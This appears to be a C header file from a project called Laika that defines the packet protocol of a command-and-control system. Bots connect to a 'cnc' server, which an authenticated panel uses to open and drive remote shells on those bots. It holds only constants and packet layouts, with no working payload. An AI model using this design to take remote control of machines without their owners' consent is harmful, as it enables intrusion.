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106 lines
4.4 KiB
C
106 lines
4.4 KiB
C
#ifndef LAIKA_PACKET_H
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#define LAIKA_PACKET_H
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#include <inttypes.h>
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#define LAIKA_MAGIC "LAI\x12"
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#define LAIKA_MAGICLEN 4
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#define LAIKA_MAX_PKTSIZE 4096
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#define LAIKA_HOSTNAME_LEN 64
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#define LAIKA_IPV4_LEN INET_ADDRSTRLEN
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#define LAIKA_INET_LEN INET_ADDRSTRLEN
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#define LAIKA_SHELL_DATA_MAX_LENGTH 256
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/* first handshake between peer & cnc works as so:
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- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
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- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
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- cnc responds with LAIKAPKT_HANDSHAKE_RES
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- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
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*/
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/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
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LAIKAPKT_ID pktID; -- plain text
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uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
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uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
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*/
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/*
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any packet ending with *_RES is cnc 2 peer
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any packet ending with *_REQ is peer 2 cnc
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if packet doesn't have either, it can be sent & received by both peer & cnc
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*/
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enum {
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/* ==================================================[[ Peer ]]================================================== */
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LAIKAPKT_VARPKT,
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/* layout of LAIKAPKT_VARPKT:
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* LAIKAPKT_SIZE pktSize;
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* LAIKAPKT_ID pktID;
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*/
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LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
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/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
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* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
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* uint8_t majorVer;
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* uint8_t minorVer;
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* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
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* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
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* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
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*/
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LAIKAPKT_HANDSHAKE_RES,
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/* layout of LAIKAPKT_HANDSHAKE_RES:
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* uint8_t cncEndian;
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*/
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LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
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/* layout of LAIKAPKT_SHELL_OPEN:
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* uint16_t cols;
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* uint16_t rows;
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*/
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LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
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/* layout of LAIKAPKT_SHELL_CLOSE:
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* NULL (empty packet)
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*/
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LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
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/* layout of LAIKAPKT_SHELL_DATA
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* char buf[VAR_PACKET_LENGTH];
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*/
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/* ==================================================[[ Auth ]]================================================== */
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LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
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/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
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* uint8_t peerType;
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*/
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LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
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/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
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* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
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* char hostname[LAIKA_HOSTNAME_LEN];
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* char inet[LAIKA_INET_LEN];
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* char ipv4[LAIKA_IPV4_LEN];
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* uint8_t peerType;
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*/
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LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
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/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
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* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
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* uint8_t peerType;
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*/
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LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
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/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
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* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
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* uint16_t cols;
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* uint16_t rows;
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*/
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LAIKAPKT_AUTHENTICATED_SHELL_CLOSE, /* peer requesting close their currently opened shell (accepted by both cnc & panel) */
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/* layout of LAIKAPKT_AUTHENTICATED_SHELL_CLOSE_REQ:
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* NULL (empty packet)
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*/
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LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
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/* layout of LAIKAPKT_SHELL_DATA
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* char buf[VAR_PACKET_LENGTH];
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*/
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LAIKAPKT_MAXNONE
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};
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typedef uint8_t LAIKAPKT_ID;
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typedef uint16_t LAIKAPKT_SIZE;
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#endif |